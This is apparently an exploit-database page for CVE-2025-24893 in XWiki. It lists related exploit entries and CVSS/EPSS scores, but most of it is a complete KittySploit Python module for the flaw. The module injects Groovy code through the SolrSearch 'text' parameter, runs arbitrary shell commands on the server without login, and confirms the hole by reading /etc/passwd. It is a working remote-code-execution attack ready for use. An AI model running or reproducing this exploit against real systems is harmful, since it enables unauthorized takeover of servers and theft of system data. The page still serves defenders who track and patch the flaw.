XWiki SolrSearch Groovy RCE (CVE-2025-24893)
| Reporter | Title | Published | Views | Family All 128 |
|---|---|---|---|---|
| Exploit for Code Injection in Xwiki | 6 Aug 202515:56 | – | githubexploit | |
| Exploit for Code Injection in Xwiki | 3 Aug 202514:49 | – | githubexploit | |
| Exploit for Code Injection in Xwiki | 3 Aug 202511:38 | – | githubexploit | |
| Exploit for Code Injection in Xwiki | 29 May 202601:52 | – | githubexploit | |
| Exploit for Code Injection in Xwiki | 3 Nov 202513:13 | – | githubexploit | |
| Exploit for CVE-2024-32019 | 3 Aug 202511:05 | – | githubexploit | |
| Exploit for Code Injection in Xwiki | 3 Aug 202512:39 | – | githubexploit | |
| Exploit for Code Injection in Xwiki | 5 Aug 202507:15 | – | githubexploit | |
| Exploit for Code Injection in Xwiki | 13 Aug 202521:49 | – | githubexploit | |
| Exploit for Code Injection in Xwiki | 16 Apr 202601:18 | – | githubexploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""XWiki SolrSearch Groovy RCE (CVE-2025-24893)."""
import re
import urllib.parse
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'XWiki SolrSearch Groovy RCE (CVE-2025-24893)',
'description': (
'Exploits CVE-2025-24893 in XWiki Platform: unauthenticated Groovy execution '
'via crafted text parameter on /bin/get/Main/SolrSearch.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2025-24893'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2025-24893'],
'tags': ['xwiki', 'groovy', 'rce', 'kev', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'rce'],
'chain': {'suggested_followups': ['scanner/http/cve_2025_24893_detect']},
},
}
def _path(self, cmd: str) -> str:
safe = str(cmd).replace('"', '\\"')
groovy = f'}}{{async async=false}}{{groovy}}println("{safe}".execute().text){{/groovy}}{{/async}} '
text = urllib.parse.quote('}}}' + groovy, safe='')
return f'/bin/get/Main/SolrSearch?media=rss&text={text}'
def execute(self, cmd: str) -> str:
for path in (self._path(cmd), '/xwiki' + self._path(cmd)):
r = self.http_request(method='GET', path=path, allow_redirects=False)
if r and r.status_code == 200:
return r.text or ''
return ''
def check(self):
body = self.execute('cat /etc/passwd')
if re.search(r'root:.*:0:0:', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2025-24893 confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'XWiki Groovy RCE failed', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Oct 2026 14:20Current
8.5High risk
Vulners AI Score8.5
CVSS 3.19.8
EPSS0.99864
SSVC